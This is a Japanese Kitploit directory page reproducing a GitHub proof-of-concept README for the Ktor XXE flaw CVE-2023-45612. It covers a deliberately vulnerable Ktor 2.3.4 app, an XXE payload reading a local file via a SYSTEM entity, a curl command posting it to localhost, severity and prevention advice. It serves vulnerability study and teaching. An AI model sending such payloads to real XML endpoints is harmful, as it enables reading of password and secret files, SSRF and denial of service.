Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ktor-cve-2023-45612-poc — Ktor XXEインジェクションの概念実証 (CVE-2023-45612) | Kitploit
ツール/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ設定ミス学習と教育
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

Ktor XXEインジェクションの概念実証 (CVE-2023-45612)

リポジトリを見る
1310ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Ktor XXE 脆弱性の概念実証 (CVE-2023-45612)

概要

影響: XXE 参照を含む巧妙に細工された XML DTD を介した任意のファイルへのアクセス。
根本原因: 安全でない XML ドキュメントパーサー。

このリポジトリには、XXE の影響を確認できるように外部エンティティを許可するよう構成された、脆弱性のある Ktor 2.3.4 アプリが含まれています。

説明

XML 外部エンティティインジェクション (CVE-2023-45612) の概念実証用の、脆弱性のある Ktor (v2.3.4) アプリケーションです。

CVE-2023-45612 は、2.3.5 より前のバージョンで XML が有効な場合に Ktor の ContentNegotiation に存在する XXE (XML 外部エンティティ) バグです。
この脆弱性は CWE-611: XML 外部エンティティ参照の不適切な制限 に該当します。
XXE は OWASP Top 10 A05:2021-セキュリティ設定のミス リスクカテゴリの一部ですが、原因が非制限的な XML パーサーであるため、安全でない設計上の問題でもあります。

Ulf Karlsson 氏による報告 — Jetbrains セキュリティノート を参照してください。

影響を受けるコンポーネントとバージョン

2.3.5 より前の Ktor バージョン

再現環境

問題を再現するための私の環境は次のとおりです:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • OS: Windows 10

XXE の解説

XML ドキュメントには、必要に応じて Document Type Definition (DTD) を含めることができ、DTD には、とりわけ XML エンティティを定義する機能があります。URI の形式で置換文字列を指定することでエンティティを定義できます。XML パーサーはこの URI の内容にアクセスし、その内容を XML ドキュメントに埋め込んでさらに処理を続けることができます。

file:// URI で外部エンティティを定義した XML ファイルを送信することにより、攻撃者は処理中のアプリケーションにローカルファイルの内容を読み取らせることができます。
例えば、"file:///c:/winnt/win.ini" のような URI は (Windows では) ファイル C:\Winnt\win.ini を指し、file:///etc/passwd は Unix ベースのシステムのパスワードファイルを指します。
(https://cwe.mitre.org/data/definitions/611.html)

動作の仕組み

http://localhost:8080/xml エンドポイントに対して POST リクエストが送信されます。
リクエストは、外部エンティティが参照される <!DOCTYPE> 要素を含む XML ファイルである exploit/payloads/xxe-demo-file.xml を送信します。この場合、参照される外部エンティティは exploit/etc/secret.txt です。

これは、プロセスがアクセス権を持つシステム上の他の任意のファイルにもなり得ます。

xxe-demo-file.xml

root@kitploit:~
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

XML パーサー (DTD を許可するよう構成されている) はこの要素を解決し、リソースデータを取得します。

外部参照は SSRF エンドポイント へのパスにすることもでき、また、システムのリソースを占有するために大きなファイルを指すこともできます (DOS)。

再現手順

  1. サーバーを起動します:
root@kitploit:~
./gradlew run
  1. 出力は次のようになります:
root@kitploit:~
Responding at http://127.0.0.1:8080
  1. curl を使用して XXE ペイロードを送信します:
root@kitploit:~
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

期待される結果 (脆弱な場合):

コンソール出力: Received: <external entity data>

期待される結果 (安全な場合):

400 Bad Request、または類似のエラー (XML パーサーが Document Type Definition をブロックします)

証拠

コマンドを実行:

アプリの起動コマンド

cURL で XXE ペイロードを送信し、インジェクションされたファイルの内容が表示された結果:

アプリの起動コマンド

深刻度

深刻度は 高/重大 です。ローカルファイルの取得、SSRF 攻撃、DoS 攻撃、その他のシステムへの影響が発生する可能性があります。
NVD ベーススコア: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

開発者向け予防ガイドライン草案

  • XML パーサーが外部エンティティを解決しないように構成してください。外部エンティティが必要な場合は、リクエストタイムアウトとデータ取得制限を備えたカスタム XmlResolver を実装し、ローカルで取得できるリソースを制限してください。
  • OWASP XXE 予防チートシート などのリソースを活用してください。これは、特にさまざまな技術向けの XXE 予防実装を網羅しています。
  • SAST を CI に統合してください。ソースコードを分析することで、この弱点の一部のインスタンスを検出できます。
  • 依存関係のバージョンと脆弱性を追跡および分析してください。
  • 会社レベルでセキュアコーディング標準を実装してください。
  • SDLC 全体、特に設計段階と開発者テスト段階でのセキュリティ統合を重視してください。

参考文献

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
ツールをダウンロード